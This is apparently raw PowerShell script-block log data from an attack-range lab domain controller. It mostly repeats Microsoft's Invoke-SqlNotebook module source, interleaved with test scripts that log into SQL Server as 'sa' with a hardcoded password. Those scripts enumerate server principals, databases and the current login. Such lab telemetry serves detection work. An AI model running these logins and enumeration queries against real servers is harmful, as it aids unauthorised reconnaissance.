function Invoke-SqlNotebook {
[CmdletBinding(DefaultParameterSetName="ByConnectionParameters")]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSUsePSCredentialType", "Username", Justification="Intentionally allowing User/Password, in addition to a PSCredential parameter.")]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSAvoidUsingPlainTextForPassword", "Password", Justification="Intentionally allowing User/Password, in addition to a PSCredential parameter.")]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSAvoidUsingUsernameAndPasswordParams", "", Justification="Intentionally allowing User/Password, in addition to a PSCredential parameter.")]
# Parameters
param(
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')]$ServerInstance,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')]$Database,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()]$Username,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()]$Password,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionString')][ValidateNotNullorEmpty()]$ConnectionString,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()][PSCredential]$Credential,
[Parameter(Mandatory = $true, ParameterSetName='ByInputFile')]
[Parameter(ParameterSetName = 'ByConnectionParameters')]
[Parameter(ParameterSetName = 'ByConnectionString')]$InputFile,
[Parameter(Mandatory = $true, ParameterSetName='ByInputObject')]
[Parameter(ParameterSetName = 'ByConnectionParameters')]
[Parameter(ParameterSetName = 'ByConnectionString')]$InputObject,
[Parameter(Mandatory = $false)][ValidateNotNullorEmpty()]$OutputFile,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()][PSObject]$AccessToken,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][Switch]$TrustServerCertificate,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateSet("Mandatory", "Optional", "Strict")][string]$Encrypt,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNull()][string]$HostNameInCertificate,
[Switch]$Force
)
#Checks to see if OutputFile is given
#If it is, checks to see if extension is there
function getOutputFile($inputFile,$outputFile) {
if($outputFile) {
$extn = [IO.Path]::GetExtension($outputFile)
if ($extn.Length -eq 0) {
$outputFile = ($outputFile + ".ipynb")
}
$outputFile
}
else {
#If User does not define Output it will use the inputFile file location
$fileinfo = Get-Item $inputFile
# Create an output file based on the file path of input and name
Join-Path $fileinfo.DirectoryName ($fileinfo.BaseName + "_out" + $fileinfo.Extension)
}
}
#Validates InputFile and Converts InputFile to Json Object
function getFileContents($inputfile) {
if (-not (Test-Path -Path $inputfile)) {
Throw New-Object System.IO.FileNotFoundException ($inputfile + " does not exist")
}
$fileItem = Get-Item $inputfile
#Checking if file is a python notebook
if ($fileItem.Extension -ne ".ipynb") {
Throw New-Object System.FormatException "Only ipynb files are supported"
}
$fileContent = Get-Content $inputfile
try {
$fileContentJson = ($fileContent | ConvertFrom-Json)
}
catch {
Throw New-Object System.FormatException "Malformed Json file"
}
$fileContentJson
}
#Validate SQL Kernel Notebook
function validateKernelType($fileContentJson) {
if ($fileContentJson.metadata.kernelspec.name -ne "SQL") {
Throw New-Object System.NotSupportedException "Kernel type '$($fileContentJson.metadata.kernelspec.name)' not supported."
}
}
#Validate non-existing output file
#If file exists and $throwifexists, an exception is thrown.
function validateExistingOutputFile($outputfile, $throwifexists) {
if ($outputfile -and (Test-Path $outputfile) -and $throwifexists) {
Throw New-Object System.IO.IOException "The file '$($outputfile)' already exists. Please, specify -Force to overwrite it."
}
}
#Parsing Notebook Data to Notebook Output
function ParseTableToNotebookOutput {
param (
[System.Data.DataTable]
$DataTable,
[int]
$CellExecutionCount
)
$TableHTMLText = "<table>"
$TableSchemaFeilds = @()
$TableHTMLText += "<tr>"
foreach ($ColumnName in $DataTable.Columns) {
$TableSchemaFeilds += @(@{name = $ColumnName.toString() })
$TableHTMLText += "<th>" + $ColumnName.toString() + "</th>"
}
$TableHTMLText += "</tr>"
$TableSchema = @{ }
$TableSchema["fields"] = $TableSchemaFeilds
$TableDataRows = @()
foreach ($Row in $DataTable) {
$TableDataRow = [ordered]@{ }
$TableHTMLText += "<tr>"
$i = 0
foreach ($Cell in $Row.ItemArray) {
$TableDataRow[$i.ToString()] = $Cell.toString()
$TableHTMLText += "<td>" + $Cell.toString() + "</td>"
$i++
}
$TableHTMLText += "</tr>"
$TableDataRows += $TableDataRow
}
$TableDataResource = @{ }
$TableDataResource["schema"] = $TableSchema
$TableDataResource["data"] = $TableDataRows
$TableData = @{ }
$TableData["application/vnd.dataresource+json"] = $TableDataResource
$TableData["text/html"] = $TableHTMLText
$TableOutput = @{ }
$TableOutput["output_type"] = "execute_result"
$TableOutput["data"] = $TableData
$TableOutput["metadata"] = @{ }
$TableOutput["execution_count"] = $CellExecutionCount
return $TableOutput
}
#Parsing the Error Messages to Notebook Output
function ParseQueryErrorToNotebookOutput {
param (
$QueryError
)
<#
Following the current syntax of errors in T-SQL notebooks from ADS
#>
$ErrorString = "Msg " + $QueryError.Exception.InnerException.Number +
", Level " + $QueryError.Exception.InnerException.Class +
", State " + $QueryError.Exception.InnerException.State +
", Line " + $QueryError.Exception.InnerException.LineNumber +
"`r`n" + $QueryError.Exception.Message
$ErrorOutput = @{ }
$ErrorOutput["output_type"] = "error"
$ErrorOutput["traceback"] = @()
$ErrorOutput["evalue"] = $ErrorString
return $ErrorOutput
}
#Parsing Messages to Notebook Output
function ParseStringToNotebookOutput {
param (
[System.String]
$InputString
)
<#
Parsing the string to notebook cell output.
It's the standard Jupyter Syntax
#>
$StringOutputData = @{ }
$StringOutputData["text/html"] = $InputString
$StringOutput = @{ }
$StringOutput["output_type"] = "display_data"
$StringOutput["data"] = $StringOutputData
$StringOutput["metadata"] = @{ }
return $StringOutput
}
#Start of Script
#Checks to see if InputFile or InputObject was entered
#Checks to InputFile Type and initializes OutputFile
if ($InputFile -is [System.String]) {
$fileInformation = getFileContents($InputFile)
$fileContent = $fileInformation[0]
$OutputFile = getOutputFile $InputFile $OutputFile
} elseif ($InputFile -is [System.IO.FileInfo]) {
$fileInformation = getFileContents($InputFile.FullName)
$fileContent = $fileInformation[0]
$OutputFile = getOutputFile $InputFile $OutputFile
} else {
$fileContent = $InputObject
}
#Checks InputObject and converts that to appropriate Json object
if ($InputObject -is [System.String]) {
$fileContentJson = ($InputObject | ConvertFrom-Json)
$fileContent = $fileContentJson[0]
}
#Validates only SQL Notebooks
validateKernelType $fileContent
#Validate that $OutputFile does not exist, or, if it exists a -Force was passed in.
validateExistingOutputFile $OutputFile (-not $Force)
#Setting params for Invoke-Sqlcmd
$DatabaseQueryHashTable = @{ }
#Checks to see if User entered ConnectionString or individual parameters
if ($ConnectionString) {
$DatabaseQueryHashTable["ConnectionString"] = $ConnectionString
} else {
if ($ServerInstance) {
$DatabaseQueryHashTable["ServerInstance"] = $ServerInstance
}
if ($Database) {
$DatabaseQueryHashTable["Database"] = $Database
}
#Checks to see if User entered AccessToken, Credential, or individual parameters
if ($AccessToken) {
# Currently, Invoke-Sqlcmd only supports an -AccessToken of type [string]
if ($AccessToken -is [string]) {
$DatabaseQueryHashTable["AccessToken"] = $AccessToken
} else {
# Assume $AccessToken has a 'Token' member that is a string
$DatabaseQueryHashTable["AccessToken"] = $AccessToken.Token
}
} else {
if ($Credential) {
$DatabaseQueryHashTable["Credential"] = $Credential
} else {
if ($Username) {
$DatabaseQueryHashTable["Username"] = $Username
}
if ($Password) {
$DatabaseQueryHashTable["Password"] = $Password
}
}
}
if ($Encrypt) {
$DatabaseQueryHashTable["Encrypt"] = $Encrypt
}
if ($TrustServerCertificate) {
$DatabaseQueryHashTable["TrustServerCertificate"] = $TrustServerCertificate
}
if ($HostNameInCertificate) {
$DatabaseQueryHashTable["HostNameInCertificate"] = $HostNameInCertificate
}
}
#Setting additional parameters for Invoke-SQLCMD to get
#all the information from Notebook execution to output
$DatabaseQueryHashTable["Verbose"] = $true
$DatabaseQueryHashTable["ErrorVariable"] = "SqlQueryError"
$DatabaseQueryHashTable["OutputAs"] = "DataTables"
#The first code cell number
$cellExecutionCount = 1
#Iterate through Notebook Cells
$fileContent.cells | Where-Object {
# Ignoring Markdown or raw cells
$_.cell_type -ne "markdown" -and $_.cell_type -ne "raw" -and $_.source -ne ""
} | ForEach-Object {
$NotebookCellOutputs = @()
# Getting the source T-SQL from the cell
# Note that the cell's source field can be
# an array (or strings) or a scalar (string).
# If an array, elements are properly terminated with CR/LF.
$DatabaseQueryHashTable["Query"] = $_.source -join ''
# Executing the T-SQL Query and storing the result and the time taken to execute
$SqlQueryExecutionTime = Measure-Command {
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSUseDeclaredVarsMoreThanAssignments", "SqlQueryResult", Justification="Suppressing false warning.")]
$SqlQueryResult = @( Invoke-Sqlcmd @DatabaseQueryHashTable -ErrorAction SilentlyContinue 4>&1)
}
# Setting the Notebook Cell Execution Count to increase count of each code cell
# Note: handle the case where the 'execution_count' property is missing.
if (-not ($_ | Get-Member execution_count)) {
$_ | Add-Member -Name execution_count -Value $null -MemberType NoteProperty
}
$_.execution_count = $cellExecutionCount++
$NotebookCellTableOutputs = @()
<#
Iterating over the results by Invoke-Sqlcmd
There are 2 types of errors:
1. Verbose Output: Prinf279b453-fd70-48c9-ba09-07bcd185519dC:\Program Files\WindowsPowerShell\Modules\SqlServer\22.3.0\SqlNotebook.psm1
4104152150x0510438Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local11$ErrorActionPreference = 'Continue'
Write-Host 'Running: Basic version query'
Invoke-Sqlcmd -ServerInstance 'localhost' -Database 'master' -Username 'sa' -Password 'ComplexPass123!' -Query 'SELECT @@version' -TrustServerCertificatea4131eab-ad01-473a-bc77-64d6cb425936
4104152150x0510250Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local11function Invoke-SqlTest {
param (
[string]$Query,
[string]$Description,
[ValidateSet('Invoke-Sqlcmd', 'sqlcmd.exe')]
[string]$Method
)
Write-Host "`nExecuting: $Description using $Method" -ForegroundColor Cyan
try {
if ($Method -eq 'sqlcmd.exe') {
& sqlcmd -S $Server -d $Database -U $Username -P $Password -Q $Query -b
Write-Host "Test completed successfully" -ForegroundColor Green
return $true
} else {
Invoke-Sqlcmd -ServerInstance $Server -Database $Database -Username $Username -Password $Password `
-Query $Query -TrustServerCertificate
Write-Host "Test completed successfully" -ForegroundColor Green
return $true
}
}
catch {
Write-Host "Test failed: $_" -ForegroundColor Red
return $false
}
}22855c85-fd1f-4df6-8bb9-a98b6c53afe7C:\Users\Administrator\Desktop\sqlcmd.ps1
4104152150x0510169Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local11$ErrorActionPreference = 'Continue'
Write-Host 'Running: System principals query'
Invoke-Sqlcmd -ServerInstance 'localhost' -Database 'master' -Username 'sa' -Password 'ComplexPass123!' -Query 'SELECT name, type_desc FROM sys.server_principals' -TrustServerCertificate6526177f-9460-4699-85e0-c4297606ec52
4104152150x0509967Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local13# Copyright (c) Microsoft Corporation.
# Licensed under the MIT license.
Set-StrictMode -Version Latest
function Invoke-SqlNotebook {
[CmdletBinding(DefaultParameterSetName="ByConnectionParameters")]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSUsePSCredentialType", "Username", Justification="Intentionally allowing User/Password, in addition to a PSCredential parameter.")]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSAvoidUsingPlainTextForPassword", "Password", Justification="Intentionally allowing User/Password, in addition to a PSCredential parameter.")]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSAvoidUsingUsernameAndPasswordParams", "", Justification="Intentionally allowing User/Password, in addition to a PSCredential parameter.")]
# Parameters
param(
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')]$ServerInstance,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')]$Database,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()]$Username,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()]$Password,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionString')][ValidateNotNullorEmpty()]$ConnectionString,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()][PSCredential]$Credential,
[Parameter(Mandatory = $true, ParameterSetName='ByInputFile')]
[Parameter(ParameterSetName = 'ByConnectionParameters')]
[Parameter(ParameterSetName = 'ByConnectionString')]$InputFile,
[Parameter(Mandatory = $true, ParameterSetName='ByInputObject')]
[Parameter(ParameterSetName = 'ByConnectionParameters')]
[Parameter(ParameterSetName = 'ByConnectionString')]$InputObject,
[Parameter(Mandatory = $false)][ValidateNotNullorEmpty()]$OutputFile,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()][PSObject]$AccessToken,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][Switch]$TrustServerCertificate,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateSet("Mandatory", "Optional", "Strict")][string]$Encrypt,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNull()][string]$HostNameInCertificate,
[Switch]$Force
)
#Checks to see if OutputFile is given
#If it is, checks to see if extension is there
function getOutputFile($inputFile,$outputFile) {
if($outputFile) {
$extn = [IO.Path]::GetExtension($outputFile)
if ($extn.Length -eq 0) {
$outputFile = ($outputFile + ".ipynb")
}
$outputFile
}
else {
#If User does not define Output it will use the inputFile file location
$fileinfo = Get-Item $inputFile
# Create an output file based on the file path of input and name
Join-Path $fileinfo.DirectoryName ($fileinfo.BaseName + "_out" + $fileinfo.Extension)
}
}
#Validates InputFile and Converts InputFile to Json Object
function getFileContents($inputfile) {
if (-not (Test-Path -Path $inputfile)) {
Throw New-Object System.IO.FileNotFoundException ($inputfile + " does not exist")
}
$fileItem = Get-Item $inputfile
#Checking if file is a python notebook
if ($fileItem.Extension -ne ".ipynb") {
Throw New-Object System.FormatException "Only ipynb files are supported"
}
$fileContent = Get-Content $inputfile
try {
$fileContentJson = ($fileContent | ConvertFrom-Json)
}
catch {
Throw New-Object System.FormatException "Malformed Json file"
}
$fileContentJson
}
#Validate SQL Kernel Notebook
function validateKernelType($fileContentJson) {
if ($fileContentJson.metadata.kernelspec.name -ne "SQL") {
Throw New-Object System.NotSupportedException "Kernel type '$($fileContentJson.metadata.kernelspec.name)' not supported."
}
}
#Validate non-existing output file
#If file exists and $throwifexists, an exception is thrown.
function validateExistingOutputFile($outputfile, $throwifexists) {
if ($outputfile -and (Test-Path $outputfile) -and $throwifexists) {
Throw New-Object System.IO.IOException "The file '$($outputfile)' already exists. Please, specify -Force to overwrite it."
}
}
#Parsing Notebook Data to Notebook Output
function ParseTableToNotebookOutput {
param (
[System.Data.DataTable]
$DataTable,
[int]
$CellExecutionCount
)
$TableHTMLText = "<table>"
$TableSchemaFeilds = @()
$TableHTMLText += "<tr>"
foreach ($ColumnName in $DataTable.Columns) {
$TableSchemaFeilds += @(@{name = $ColumnName.toString() })
$TableHTMLText += "<th>" + $ColumnName.toString() + "</th>"
}
$TableHTMLText += "</tr>"
$TableSchema = @{ }
$TableSchema["fields"] = $TableSchemaFeilds
$TableDataRows = @()
foreach ($Row in $DataTable) {
$TableDataRow = [ordered]@{ }
$TableHTMLText += "<tr>"
$i = 0
foreach ($Cell in $Row.ItemArray) {
$TableDataRow[$i.ToString()] = $Cell.toString()
$TableHTMLText += "<td>" + $Cell.toString() + "</td>"
$i++
}
$TableHTMLText += "</tr>"
$TableDataRows += $TableDataRow
}
$TableDataResource = @{ }
$TableDataResource["schema"] = $TableSchema
$TableDataResource["data"] = $TableDataRows
$TableData = @{ }
$TableData["application/vnd.dataresource+json"] = $TableDataResource
$TableData["text/html"] = $TableHTMLText
$TableOutput = @{ }
$TableOutput["output_type"] = "execute_result"
$TableOutput["data"] = $TableData
$TableOutput["metadata"] = @{ }
$TableOutput["execution_count"] = $CellExecutionCount
return $TableOutput
}
#Parsing the Error Messages to Notebook Output
function ParseQueryErrorToNotebookOutput {
param (
$QueryError
)
<#
Following the current syntax of errors in T-SQL notebooks from ADS
#>
$ErrorString = "Msg " + $QueryError.Exception.InnerException.Number +
", Level " + $QueryError.Exception.InnerException.Class +
", State " + $QueryError.Exception.InnerException.State +
", Line " + $QueryError.Exception.InnerException.LineNumber +
"`r`n" + $QueryError.Exception.Message
$ErrorOutput = @{ }
$ErrorOutput["output_type"] = "error"
$ErrorOutput["traceback"] = @()
$ErrorOutput["evalue"] = $ErrorString
return $ErrorOutput
}
#Parsing Messages to Notebook Output
function ParseStringToNotebookOutput {
param (
[System.String]
$InputString
)
<#
Parsing the string to notebook cell output.
It's the standard Jupyter Syntax
#>
$StringOutputData = @{ }
$StringOutputData["text/html"] = $InputString
$StringOutput = @{ }
$StringOutput["output_type"] = "display_data"
$StringOutput["data"] = $StringOutputData
$StringOutput["metadata"] = @{ }
return $StringOutput
}
#Start of Script
#Checks to see if InputFile or InputObject was entered
#Checks to InputFile Type and initializes OutputFile
if ($InputFile -is [System.String]) {
$fileInformation = getFileContents($InputFile)
$fileContent = $fileInformation[0]
$OutputFile = getOutputFile $InputFile $OutputFile
} elseif ($InputFile -is [System.IO.FileInfo]) {
$fileInformation = getFileContents($InputFile.FullName)
$fileContent = $fileInformation[0]
$OutputFile = getOutputFile $InputFile $OutputFile
} else {
$fileContent = $InputObject
}
#Checks InputObject and converts that to appropriate Json object
if ($InputObject -is [System.String]) {
$fileContentJson = ($InputObject | ConvertFrom-Json)
$fileContent = $fileContentJson[0]
}
#Validates only SQL Notebooks
validateKernelType $fileContent
#Validate that $OutputFile does not exist, or, if it exists a -Force was passed in.
validateExistingOutputFile $OutputFile (-not $Force)
#Setting params for Invoke-Sqlcmd
$DatabaseQueryHashTable = @{ }
#Checks to see if User entered ConnectionString or individual parameters
if ($ConnectionString) {
$DatabaseQueryHashTable["ConnectionString"] = $ConnectionString
} else {
if ($ServerInstance) {
$DatabaseQueryHashTable["ServerInstance"] = $ServerInstance
}
if ($Database) {
$DatabaseQueryHashTable["Database"] = $Database
}
#Checks to see if User entered AccessToken, Credential, or individual parameters
if ($AccessToken) {
# Currently, Invoke-Sqlcmd only supports an -AccessToken of type [string]
if ($AccessToken -is [string]) {
$DatabaseQueryHashTable["AccessToken"] = $AccessToken
} else {
# Assume $AccessToken has a 'Token' member that is a string
$DatabaseQueryHashTable["AccessToken"] = $AccessToken.Token
}
} else {
if ($Credential) {
$DatabaseQueryHashTable["Credential"] = $Credential
} else {
if ($Username) {
$DatabaseQueryHashTable["Username"] = $Username
}
if ($Password) {
$DatabaseQueryHashTable["Password"] = $Password
}
}
}
if ($Encrypt) {
$DatabaseQueryHashTable["Encrypt"] = $Encrypt
}
if ($TrustServerCertificate) {
$DatabaseQueryHashTable["TrustServerCertificate"] = $TrustServerCertificate
}
if ($HostNameInCertificate) {
$DatabaseQueryHashTable["HostNameInCertificate"] = $HostNameInCertificate
}
}
#Setting additional parameters for Invoke-SQLCMD to get
#all the information from Notebook execution to output
$DatabaseQueryHashTable["Verbose"] = $true
$DatabaseQueryHashTable["ErrorVariable"] = "SqlQueryError"
$DatabaseQueryHashTable["OutputAs"] = "DataTables"
#The first code cell number
$cellExecutionCount = 1
#Iterate through Notebook Cells
$fileContent.cells | Where-Object {
# Ignoring Markdown or raw cells
$_.cell_type -ne "markdown" -and $_.cell_type -ne "raw" -and $_.source -ne ""
} | ForEach-Object {
$NotebookCellOutputs = @()
# Getting the source T-SQL from the cell
# Note that the cell's source field can be
# an array (or strings) or a scalar (string).
# If an array, elements are properly terminated with CR/LF.
$DatabaseQueryHashTable["Query"] = $_.source -join ''
# Executing the T-SQL Query and storing the result and the time taken to execute
$SqlQueryExecutionTime = Measure-Command {
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSUseDeclaredVarsMoreThanAssignments", "SqlQueryResult", Justification="Suppressing false warning.")]
$SqlQueryResult = @( Invoke-Sqlcmd @DatabaseQueryHashTable -ErrorAction SilentlyContinue 4>&1)
}
# Setting the Notebook Cell Execution Count to increase count of each code cell
# Note: handle the case where the 'execution_count' property is missing.
if (-not ($_ | Get-Member execution_count)) {
$_ | Add-Member -Name execution_count -Value $null -MemberType NoteProperty
}
$_.execution_count = $cellExecutionCount++
$NotebookCellTableOutputs = @()
<#
Iterating over the results by Invoke-Sqlcmd
There are 2 types of errors:
1. Verbose Output: Print Statements:
These needs to be added to the beginning of the cell outputs
2. Datatables from the database
These needs to be added to the end of cell outputs
#a73aa000-ed46-450a-a985-c3823f2e3474C:\Program Files\WindowsPowerShell\Modules\SqlServer\22.3.0\SqlNotebook.psm1
4104152150x0509961Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local11$ErrorActionPreference = 'Continue'
Write-Host 'Running: DataSet output test'
Invoke-Sqlcmd -ServerInstance 'localhost' -Database 'master' -Username 'sa' -Password 'ComplexPass123!' -Query 'SELECT name, database_id FROM sys.databases' -OutputAs DataSet -TrustServerCertificatedb8f3a6c-2bb0-4bb6-a671-a0d1f5da70eb
4104152150x0509754Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local11$ErrorActionPreference = 'Continue'
Write-Host 'Running: Authentication test'
Invoke-Sqlcmd -ServerInstance 'localhost' -Database 'master' -Username 'sa' -Password 'ComplexPass123!' -Query 'SELECT SYSTEM_USER AS CurrentUser' -TrustServerCertificatea6b1ea1d-c938-436b-8b43-0d53003ac990
4104152150x0509552Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local13# Copyright (c) Microsoft Corporation.
# Licensed under the MIT license.
Set-StrictMode -Version Latest
function Invoke-SqlNotebook {
[CmdletBinding(DefaultParameterSetName="ByConnectionParameters")]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSUsePSCredentialType", "Username", Justification="Intentionally allowing User/Password, in addition to a PSCredential parameter.")]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSAvoidUsingPlainTextForPassword", "Password", Justification="Intentionally allowing User/Password, in addition to a PSCredential parameter.")]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSAvoidUsingUsernameAndPasswordParams", "", Justification="Intentionally allowing User/Password, in addition to a PSCredential parameter.")]
# Parameters
param(
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')]$ServerInstance,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')]$Database,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()]$Username,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()]$Password,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionString')][ValidateNotNullorEmpty()]$ConnectionString,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()][PSCredential]$Credential,
[Parameter(Mandatory = $true, ParameterSetName='ByInputFile')]
[Parameter(ParameterSetName = 'ByConnectionParameters')]
[Parameter(ParameterSetName = 'ByConnectionString')]$InputFile,
[Parameter(Mandatory = $true, ParameterSetName='ByInputObject')]
[Parameter(ParameterSetName = 'ByConnectionParameters')]
[Parameter(ParameterSetName = 'ByConnectionString')]$InputObject,
[Parameter(Mandatory = $false)][ValidateNotNullorEmpty()]$OutputFile,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()][PSObject]$AccessToken,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][Switch]$TrustServerCertificate,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateSet("Mandatory", "Optional", "Strict")][string]$Encrypt,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNull()][string]$HostNameInCertificate,
[Switch]$Force
)
#Checks to see if OutputFile is given
#If it is, checks to see if extension is there
function getOutputFile($inputFile,$outputFile) {
if($outputFile) {
$extn = [IO.Path]::GetExtension($outputFile)
if ($extn.Length -eq 0) {
$outputFile = ($outputFile + ".ipynb")
}
$outputFile
}
else {
#If User does not define Output it will use the inputFile file location
$fileinfo = Get-Item $inputFile
# Create an output file based on the file path of input and name
Join-Path $fileinfo.DirectoryName ($fileinfo.BaseName + "_out" + $fileinfo.Extension)
}
}
#Validates InputFile and Converts InputFile to Json Object
function getFileContents($inputfile) {
if (-not (Test-Path -Path $inputfile)) {
Throw New-Object System.IO.FileNotFoundException ($inputfile + " does not exist")
}
$fileItem = Get-Item $inputfile
#Checking if file is a python notebook
if ($fileItem.Extension -ne ".ipynb") {
Throw New-Object System.FormatException "Only ipynb files are supported"
}
$fileContent = Get-Content $inputfile
try {
$fileContentJson = ($fileContent | ConvertFrom-Json)
}
catch {
Throw New-Object System.FormatException "Malformed Json file"
}
$fileContentJson
}
#Validate SQL Kernel Notebook
function validateKernelType($fileContentJson) {
if ($fileContentJson.metadata.kernelspec.name -ne "SQL") {
Throw New-Object System.NotSupportedException "Kernel type '$($fileContentJson.metadata.kernelspec.name)' not supported."
}
}
#Validate non-existing output file
#If file exists and $throwifexists, an exception is thrown.
function validateExistingOutputFile($outputfile, $throwifexists) {
if ($outputfile -and (Test-Path $outputfile) -and $throwifexists) {
Throw New-Object System.IO.IOException "The file '$($outputfile)' already exists. Please, specify -Force to overwrite it."
}
}
#Parsing Notebook Data to Notebook Output
function ParseTableToNotebookOutput {
param (
[System.Data.DataTable]
$DataTable,
[int]
$CellExecutionCount
)
$TableHTMLText = "<table>"
$TableSchemaFeilds = @()
$TableHTMLText += "<tr>"
foreach ($ColumnName in $DataTable.Columns) {
$TableSchemaFeilds += @(@{name = $ColumnName.toString() })
$TableHTMLText += "<th>" + $ColumnName.toString() + "</th>"
}
$TableHTMLText += "</tr>"
$TableSchema = @{ }
$TableSchema["fields"] = $TableSchemaFeilds
$TableDataRows = @()
foreach ($Row in $DataTable) {
$TableDataRow = [ordered]@{ }
$TableHTMLText += "<tr>"
$i = 0
foreach ($Cell in $Row.ItemArray) {
$TableDataRow[$i.ToString()] = $Cell.toString()
$TableHTMLText += "<td>" + $Cell.toString() + "</td>"
$i++
}
$TableHTMLText += "</tr>"
$TableDataRows += $TableDataRow
}
$TableDataResource = @{ }
$TableDataResource["schema"] = $TableSchema
$TableDataResource["data"] = $TableDataRows
$TableData = @{ }
$TableData["application/vnd.dataresource+json"] = $TableDataResource
$TableData["text/html"] = $TableHTMLText
$TableOutput = @{ }
$TableOutput["output_type"] = "execute_result"
$TableOutput["data"] = $TableData
$TableOutput["metadata"] = @{ }
$TableOutput["execution_count"] = $CellExecutionCount
return $TableOutput
}
#Parsing the Error Messages to Notebook Output
function ParseQueryErrorToNotebookOutput {
param (
$QueryError
)
<#
Following the current syntax of errors in T-SQL notebooks from ADS
#>
$ErrorString = "Msg " + $QueryError.Exception.InnerException.Number +
", Level " + $QueryError.Exception.InnerException.Class +
", State " + $QueryError.Exception.InnerException.State +
", Line " + $QueryError.Exception.InnerException.LineNumber +
"`r`n" + $QueryError.Exception.Message
$ErrorOutput = @{ }
$ErrorOutput["output_type"] = "error"
$ErrorOutput["traceback"] = @()
$ErrorOutput["evalue"] = $ErrorString
return $ErrorOutput
}
#Parsing Messages to Notebook Output
function ParseStringToNotebookOutput {
param (
[System.String]
$InputString
)
<#
Parsing the string to notebook cell output.
It's the standard Jupyter Syntax
#>
$StringOutputData = @{ }
$StringOutputData["text/html"] = $InputString
$StringOutput = @{ }
$StringOutput["output_type"] = "display_data"
$StringOutput["data"] = $StringOutputData
$StringOutput["metadata"] = @{ }
return $StringOutput
}
#Start of Script
#Checks to see if InputFile or InputObject was entered
#Checks to InputFile Type and initializes OutputFile
if ($InputFile -is [System.String]) {
$fileInformation = getFileContents($InputFile)
$fileContent = $fileInformation[0]
$OutputFile = getOutputFile $InputFile $OutputFile
} elseif ($InputFile -is [System.IO.FileInfo]) {
$fileInformation = getFileContents($InputFile.FullName)
$fileContent = $fileInformation[0]
$OutputFile = getOutputFile $InputFile $OutputFile
} else {
$fileContent = $InputObject
}
#Checks InputObject and converts that to appropriate Json object
if ($InputObject -is [System.String]) {
$fileContentJson = ($InputObject | ConvertFrom-Json)
$fileContent = $fileContentJson[0]
}
#Validates only SQL Notebooks
validateKernelType $fileContent
#Validate that $OutputFile does not exist, or, if it exists a -Force was passed in.
validateExistingOutputFile $OutputFile (-not $Force)
#Setting params for Invoke-Sqlcmd
$DatabaseQueryHashTable = @{ }
#Checks to see if User entered ConnectionString or individual parameters
if ($ConnectionString) {
$DatabaseQueryHashTable["ConnectionString"] = $ConnectionString
} else {
if ($ServerInstance) {
$DatabaseQueryHashTable["ServerInstance"] = $ServerInstance
}
if ($Database) {
$DatabaseQueryHashTable["Database"] = $Database
}
#Checks to see if User entered AccessToken, Credential, or individual parameters
if ($AccessToken) {
# Currently, Invoke-Sqlcmd only supports an -AccessToken of type [string]
if ($AccessToken -is [string]) {
$DatabaseQueryHashTable["AccessToken"] = $AccessToken
} else {
# Assume $AccessToken has a 'Token' member that is a string
$DatabaseQueryHashTable["AccessToken"] = $AccessToken.Token
}
} else {
if ($Credential) {
$DatabaseQueryHashTable["Credential"] = $Credential
} else {
if ($Username) {
$DatabaseQueryHashTable["Username"] = $Username
}
if ($Password) {
$DatabaseQueryHashTable["Password"] = $Password
}
}
}
if ($Encrypt) {
